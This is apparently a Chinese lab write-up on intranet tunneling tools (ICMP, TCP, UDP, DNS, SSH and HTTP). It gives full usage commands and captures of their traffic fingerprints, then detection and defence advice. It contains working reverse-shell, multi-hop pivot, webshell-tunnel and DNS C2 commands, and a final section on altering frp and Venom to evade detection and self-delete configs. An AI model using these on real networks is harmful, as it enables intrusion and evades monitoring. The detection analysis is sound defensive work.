内网代理和穿透工具的分析记录

0x00 前言

记录一下对内网代理和穿透工具的分析过程,着重在流量侧。

0x01 环境

攻击机器:192.168.1.131和192.168.1.133

目标机器:192.168.1.137

目标机器为双网卡,第二层网段为192.168.3.0

image-20220203155808673

0x02 分析

思路:网络层 -> 传输层 -> 应用层

1、ICMP隧道技术

icmpsh

  • 介绍

    icmpsh是一个简单的反向ICMP shell工具。与其他类似的开源工具相比,主要优势在于它不需要管理权限即可在目标机器上运行。
    客户端只能在Windows机器运行,服务端可以在任何平台上运行。

  • 下载

    https://github.com/bdamele/icmpsh

  • 使用

服务端:

1
2
3
4
5
6
7
8
9
10
git clone https://github.com/inquisb/icmpsh.git

#关闭icmp回复,如果要开启icmp回复,该值设置为0
sysctl -w net.ipv4.icmp_echo_ignore_all=1

#运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IP
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
python2 -m pip install impacket
python2 icmpsh_m.py 192.168.1.133 192.168.1.137

客户端:

1
2
3
4
5
6
7
8
-t 主机ip地址以发送ping请求。这个选项是强制性的!
-r 发送一个包含字符串“Test1234”的测试icmp请求,然后退出。
-d 毫秒请求之间的延迟(毫秒)
-o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空白计数器。如果该计数器达到某个极限,从机将退出。如果收到响应,计数器将设置回0。
-b 空白数量限制(退出前未答复的icmp请求)
-s 字节最大数据缓冲区大小(字节)

icmpsh.exe -t 192.168.1.133 -d 500 -b 30 -s 128

image-20220203174936412

pingtunnel

  • 介绍

    Pingtunnel 是一种通过 ICMP 发送 TCP/UDP 流量的工具。其是最流行的一款ICMP代理工具,提供对tcp/udp/sock5流量伪装成icmp流量进行转发的功能。需要root或者administrator/system权限。

  • 下载

    https://github.com/esrrhs/pingtunnel

  • 使用

高权限条件下

image-20220203183416112

构建反向代理

1)服务端

1
2
3
4
5
6
7
-type server 代表开启ICMP SERVER端,等待客户端进行连接与通信。
-noprint 1 不在控制台打印日志
-nolog 1 不存储日志文件

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

./pingtunnel -type server -noprint 1 -nolog 1

image-20220203205320732

2)客户端

1
pingtunnel.exe -type client -l :4455 -s 192.168.1.133 -sock5 1 -noprint 1 -nolog 1

image-20220203205238445

3)测试使用

设置 socks5

image-20220203205403724

访问二层网络

image-20220203205430525

2、ICMP隧道流量特征

正常情况下,单位时间内数据包发送的数量为一组。

image-20220203215038175

单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。

image-20220203220429657

单组数据包Data字段内容中,Windows为abcdefghijklmnopqrstuvwabcdefghi,Linux下为!”#$%&’()+,-./01234567

image-20220203220717587

数据包Type字段类型为0或者8,表示请求和应答。

image-20220203220814214

在icmpsh中,其交互过程的数据包中请求包和响应包长度明显不相同,并且Data字段内容明显为明文的敏感信息。

建立连接

image-20220203230047657

执行命令过程

image-20220203230234454

image-20220203230302457

在pingtunnel中,明显地,单位时间内数据包的数量过大。

image-20220203231628763

单组数据包Data字段长度非默认长度,并且请求和应答报文的长度也不相同。在单组数据包Data字段内容中,在交互过程存在会话key和明文访问信息。

pingtunnel在访问过程会把会话key和访问信息封装到icmp协议的data字段中。

image-20220203234059776

image-20220203234136622

流量检测关键点:

  • 单位时间内数据包的数量
  • 单组数据包Data字段长度
  • 单组数据包Data字段内容

3、TCP隧道技术

EarthWorm

  • 介绍

    EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
    能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。

    image-20220204004030370

  • 下载

    https://github.com/rootkiter/EarthWorm

  • 使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
EW共有6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
ssocksd:正向代理、rcsocks:流量转发、rssocks:socks5反弹
lcx_slave:端口绑定、lcx_listen:流量转发、lcx_tran:端口转发

lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

-l 为服务启动打开一个端口。
-d 设置反弹主机地址。
-e 设置反弹端口。
-f 设置连接主机地址。
-g连接端口设置连接端口。
-t 设置超时的毫秒数。默认值值是1000

1)反向socks5代理

客户端

1
ew.exe -s rssocks -d 192.168.1.131 -e 8888

服务端

1
ew.exe -s rcsocks -l 1080 -e 8888 

测试结果

image-20220204135935468

image-20220204140033714

image-20220204140047325

2)二级级联

获得目标网络内两台主机A(2.2.2.2)、B(2.2.2.3)的权限。

A主机存在公网 IP,且自由监听任意端口,无法访问特定资源。
B主机是目标网络内部主机,可访问特定资源,但无法访问公网。

A主机可直连B主机。

image-20220204150024352

1
2
3
4
5
6
7
主机A
ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 8888

主机B
ew -s ssocksd -l 8888

通过proxifier代理工具访问2.2.2.2:1080

主机A(2.2.2.2)、B(2.2.2.3),公网VPS(1.1.1.1)。

A主机,无公网 IP,无法访问特定资源,可访问外网。

B主机是内部主机,可访问特定资源,却无法回连公网。

A主机可直连B主机。

image-20220204162548382

1
2
3
4
5
6
7
8
9
10
公网主机
ew -s lcx_listen -e 8888 -l 1080

A主机
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

B主机
ew -s ssocksd -l 9999

通过proxifier代理工具访问1.1.1.1:1080

3)多级级联

主机A(2.2.2.2)、B(2.2.2.3)、C(2.2.2.4),公网VPS(1.1.1.1)。

A主机无公网IP,无法访问特定资源,可访问外网。
B主机无法访问特定资源,无法回连公网。
C主机可访问特定资源,无法回连公网。
A主机可直连B主机,B主机可直连C主机。

image-20220204165342607

1
2
3
4
5
6
7
8
9
10
11
12
13
VPS
ew -s rcsocks -l 1080 -e 8888

主机A
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

主机B
ew -s lcx_listen -l 9999 -e 7777

主机C
ew -s rssocks -d 2.2.2.3 -e 7777

通过proxifier代理工具访问1.1.1.1:1080

数据流向为socks5代理-> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Venom

  • 介绍

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

其功能特性支持:多级socks5代理、多级端口转发、端口复用 (apache/mysql/…)、ssh隧道、节点间通信加密

1)未加密下的反向socks5代理

服务端

1
admin.exe -lport 9999

image-20220204213818605

客户端

1
agent.exe -rhost 192.168.1.131 -rport 9999

image-20220204213853383

2)加密下的反向socks5代理

1
2
admin.exe -lport 9999 -passwd dlive@dubhe
agent.exe -rhost 192.168.1.131 -rport 9999 -passwd dlive@dubhe

3)多级级联

image-20220205002512017

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
VPS:120.10.120.X
admin_linux_x64 -lport 4343 -passwd test@123
goto 1
listen 4343
goto 2
listen 4343

主机A:192.168.3.15
agent.exe -rhost 120.10.120.X -rport 4343 -passwd test@123

主机B:192.168.3.30
agent.exe -rhost 192.168.3.15 -rport 4343 -passwd test@123

主机C:192.168.3.160
agent.exe -rhost 192.168.3.30 -rport 4343 -passwd test@123

Stowaway

  • 介绍

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。

其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。

1)未加密下反向代理

服务端

1
2
3
stowaway_admin -l 9999
use 0
socks 10001

image-20220205155352084

image-20220205155408868

image-20220205155502058

image-20220205155536951

客户端

1
stowaway_agent -c 192.168.1.131:9999

image-20220205155034409

2)加密下反向代理

1
2
stowaway_admin -l 9999 -s test@123
stowaway_agent -c 192.168.1.131:9999 -s test@123

3)多级级联

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现

admin:
./stowaway_admin -l 9999 -s 123

agent-1:
./stowaway_agent -c 127.0.0.1:9999 -s 123

agent-2:
./stowaway_agent -l 10000 -s 123
通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点

agent-3:
./stowaway_agent -c 127.0.0.1:10001 -s 123
通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接

Frp

  • 介绍

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

其功能特性支持:支持 TCP、KCP 以及 Websocket 等多种协议;采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间;代理组间的负载均衡;端口复用,多个服务通过同一个服务端端口暴露;多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等)。

1)正常使用

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = 192.168.1.131
server_port = 7000
token = test@123

[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true

服务端

1
2
3
[common]
bind_port = 7000
token = test@123

image-20220205174049800

image-20220205171340966

2)多级级联

image-20220205165513019

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
1、黑客VPS
#frpc.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7099

2、外网web服务器
#frpc.ini
[common]
server_addr = 192.168.27.157
server_port = 7000
[proxy]
type = tcp
local_ip = 10.10.3.100
local_port = 9999
remote_port = 9999
plugin = socks5

#frps.ini
[common]
bind_addr = 10.10.3.100
bind_port = 7000

3、内网域控
#frpc.ini
[common]
server_addr = 10.10.3.100
server_port = 7000
[proxy]
type = tcp
local_ip = 10.10.21.5
local_port = 9999
remote_port = 9999
plugin = socks5

#frps.ini
[common]
bind_addr = 10.10.21.5
bind_port = 7000

4、财务子域控制器
#frpc.ini
[common]
server_addr = 10.10.21.5
server_port = 7000
[proxy]
type = tcp
remote_port = 9999
plugin = socks5

最后通过proxifier将流量带入内网

image-20220205165808196

4、TCP隧道流量特征

EarthWorm

ew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00”

客户端发送“01 01 00 00 00 00”

image-20220204175113004

服务端应答“01 02 00 00 00 00”,建立连接。

image-20220204175134287

Venom

未加密下venom在建立连接过程的过程中会先发起系列”00 00 00 00 00 00“

image-20220204221533181

接着通过携带“ABCDEFGH”,来判断是否为venom协议

image-20220204221603757

image-20220204221625642

同时,通过携带“VCMD”,作为协议的数据分割

image-20220204221800953

image-20220204221731333

执行命令过程也为明文信息

image-20220204222312429

image-20220204222339869

使用venom的加密下,只存在较小的特征,如携带的数据全置零

image-20220205000547247

image-20220205000934101

推测,其在只有在不使用端口复用时候,才存在

image-20220205001101898

Stowaway

加密和未加密情况下,除了部分数据加密外,特征并没有发生变化。

stowaway在建立连接过程的过程中客户端会先发起系列”00 00 00 00 00 00“

image-20220205155957572

随后,客户端继续携带生成的“会话key”,向服务端发起请求

image-20220205160235228

在服务端确认相同的“会话key”后,客户端发起请求管理端的信息

1
2
3
const ADMIN_UUID = "IAMADMINXD"
const TEMP_UUID = "IAMNEWHERE"
const TEMP_ROUTE = "THEREISNOROUTE"

image-20220205160519450

image-20220205160541396

服务端回复确认后,建立连接

image-20220205160645385

由于未加密,存在明文信息

image-20220205161156594

在建立连接后,伴随着大量重复ACK确认请求,怀疑是做心跳保持?

image-20220205161017350

Frp

1)未添加tls加密下的frp

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = 192.168.1.131
server_port = 7000
token = test@123

[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true

服务端

1
2
3
[common]
bind_port = 7000
token = test@123

客户端携带版本架构等信息向服务端发起请求

image-20220205183254355

服务端回应相关信息

image-20220205184901937

客户端和服务端之间传递会话id和会话key

image-20220205185013518

服务端创建socks5信息

image-20220205192128433

由于进行了加密和压缩,报文的data是加密的

image-20220205192614001

2)添加了tls加密后的frp

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[common]
server_addr = 192.168.1.131
server_port = 7000
token = test@123
tls_enable = true

[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true

服务端

1
2
3
[common]
bind_port = 7000
token = test@123

添加了tls和加密压缩后的frp在通信过程已经没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带“0x17”,请求服务端

image-20220205205903524

image-20220205210648245

利用wireshark详细分析,发现wireshark识别该报文为“Gryphon”协议,“Gryphon”协议为工控协议,用于车用通讯协定

image-20220205212746545

随后,以固定的243字节的TLS-hello报文向服务端发起请求

image-20220205210046231

固定243字节长度的hello报文告诉服务端,frp支持的一系列加密算法套件

image-20220205220024598

服务端选定加密算法,理论上也是90字节大小的TLS-hello报文,向客户端发起应答

image-20220205220853707

随后完成协商过程,建立tls加密通信

image-20220205221017950

5、UDP隧道技术

Udp2raw

  • 介绍

该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。

其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。

  • 下载

https://github.com/wangyu-/udp2raw

  • 使用
1
2
3
4
5
在server端运行:
./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a

在client端运行:
./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.1.133:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a

服务端

image-20220205225116888

客户端

image-20220205225154448

6、UDP隧道流量特征

Udp2raw

利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征

image-20220205230934102

7、DNS隧道技术

DnsCat2 && Dnscat2-Powrshell

  • 介绍

dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。

  • 下载

https://github.com/iagox86/dnscat2

https://github.com/lukebaggett/dnscat2-powershell

  • 使用

1)直连模式

1
2
3
ruby ./dnscat2.rb -s 553 -c password --no-cache

dnscat2-client.exe --dns server=192.168.1.133,port=553 --secret=password

image-20220206163441487

2)中继模式

1
2
3
#-e 指定安全级别,open 表示服务端允许客户端不进行加密
ruby ./dnscat2.rb www.dnstuneltest.com -c password --no-cache -e open
dnscat2-client.exe --dns domain=www.dnstuneltest.com --secret=password

image-20220208181420994

image-20220208181514586

8、DNS隧道流量特征

直连模式下,dnscat2存在明显的连接特征

image-20220207102250311

中继模式下的dnscat2,除开携带域名信息外,无其他明显流量特征

image-20220208181949011

image-20220208182038642

除了域名信息外,单位时间内dns数据包的发送频率也可以当作特征处理。

9、SSH隧道技术

1
sudo ssh -N -f -L 192.168.1.133:4444:192.168.1.129:3389 192.168.1.133

image-20220207110555358

image-20220207110652187

10、SSH隧道流量特征

在利用ssh进行隧道转发的过程中,除第一个数据包会出现机器的用户名外,在流量过程中无其他明显指纹

image-20220207112639602

11、HTTP隧道技术

tunnel

  • 介绍

Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。

  • 下载

https://github.com/SECFORCE/Tunna

  • 使用

image-20220207135209976

1
2
3
4
5
6
7
-l 表示本地监听的端口
-r 远程要转发的端口
-v 详细模式
-b 请求大小
-s 首先启动 pinging 线程 - 一些服务首先发送数据(例如 SSH)
-C 请求 cookie
-t 基本认证

1)连接RDP

1
2
python proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -r 3389 –v
python proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -a 192.168.3.144 -r 3389

image-20220207143334156

image-20220207143305721

2)连接SSH

1
python proxy.py -u http://218.4.45.152:8877/job/conn.php -l 1234 -r 22 -v –s

reGeog&&Neo-reGeorg

  • 介绍

reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。

Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。

Neo-reGeorg支持:

1
2
3
4
5
6
7
8
9
10
11
12
1、传输内容经过变形 base64 加密,伪装成 base64 编码
2、直接请求响应可定制化 (如伪装的404页面)
3、HTTP Headers 的指令随机生成,避免特征检测
4、HTTP Headers 可定制化
5、自定义 HTTP 响应码
6、多 URL 随机请求
7、服务端 DNS 解析
8、兼容 python2 / python3
9、服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境
  • 下载

https://github.com/sensepost/reGeorg

https://github.com/L-codes/Neo-reGeorg

  • 使用

reGeorg

1
$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

image-20220207154816276

Neo-reGeorg

1
2
3
4
5
6
7
8
9
python3 neoreg.py generate -k password
python3 neoreg.py -k password -u http://xx/tunnel.php

python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
python neoreg.py -k <you_password> -u <server_url> --skip

python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080

python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

image-20220207163021305

ABPTTS

  • 介绍

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。

  • 下载

https://github.com/nccgroup/ABPTTS

  • 使用
1
2
3
4
5
6
7
8
9
git clone https://github.com/nccgroup/ABPTTS.git
pip install pycryptodome
pip install httplib2

#生成对应webshell
python abpttsfactory.py -o webshell

#把目标主机的3389端口转发到本地的7777端口
python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.137:81/Files/common/abptts.aspx" -f 192.168.1.133:7777/127.0.0.1:3389

image-20220207232455635

image-20220207235850590

image-20220207235827525

12、HTTP隧道流量特征

tunnel

页面特征

image-20220207144843428

连接报文特征

image-20220207150431658

image-20220207150143988

image-20220207150618563

image-20220207150453800

**reGeog&Neo-reGeorg

对于reGeog,其默认的页面特征为

image-20220207155814894

从流量报文上看,也具有一定的特征信息

image-20220207155631006

image-20220207155947592

image-20220207160054406

Neo-reGeog的页面信息

image-20220207165820468

image-20220207165802108

Neo-reGeog的流量报文

image-20220207165713749

ABPTTS

abptts页面特征

image-20220207234557467

查看报文特征

image-20220207235941114

image-20220208000009857

image-20220208000047328

0x03 检测与防御

1、检测

以frp作为案例

端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测

端口检测:默认配置下,frp的服务端端口为7000

image-20220208183919257

进程检测:从进程上看,frp的进程名称非常明显

image-20220208184104328

流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。

image-20220205183254355

image-20220205185013518

添加tls加密后,frp在协商前存在0x17的协议头部特征

image-20220205205903524

2、防御

针对服务器:
收敛出站权限(配置NAT、反向代理、统一内部DNS)

阻断恶意入站(部署企业级WAF)

针对办公机:
收拢协议
规范行为

0x04 改造

1、frp改造

修改结构特征

定位到frp\pkg\msg\msg.go文件,修改结构体中的特征

1
2
Login\LoginResp\NewProxy\NewProxyResp\CloseProxy\NewWorkConn\StartWorkConn\NewVisitorConn
NewVisitorConnResp\Ping\UDPPacket\NatHoleVisitor\NatHoleClient\NatHoleResp\NatHoleSid

image-20220208113611284

注意每个字段的一致性,特别是PrivilegeKey、Timestamp和RunID

image-20220208152703880

定位到frp\pkg\util\version\version.go文件,修改版本特征

image-20220208113452941

image-20220208113517879

修改版本对比

image-20220208132131095

测试

image-20220208152831354

修改默认加密salt

修改服务端和客户端的默认salt

frp/cmd/frpc/main.go

frp/cmd/frps/main.go

image-20220208160524451

修改Tls协议0x17特征

修改frp的tls协议中固定的0x17特征

frp/pkg/util/net/tls.go

image-20220208161350258

配置文件自删除

在frp/cmd/frpc/sub/root.go中,注册变量,在RegisterCommonFlags函数中注册参数,最后在startService运行检测函数中添加自删除操作

image-20220208203112314

image-20220208203158361

2、Venom改造

venom的特征在于协议的数据分隔符和在端口重用时的鉴别符号,修改global/global.go后,重新编译,即可实现特征隐藏。

image-20220208213244172

改造后的venom,未进行加密情况下的报文信息中无原来的协议特征

image-20220208215056422

0x05 参考

烽火台实验室-《内网代理工具与检测方法研究》

FreeBuf-kczwa1-《内网全局代理工具及特征分析》

天融信安全服务-《安全运营内刊|检测与防护能力-隧道工具的使用与检测》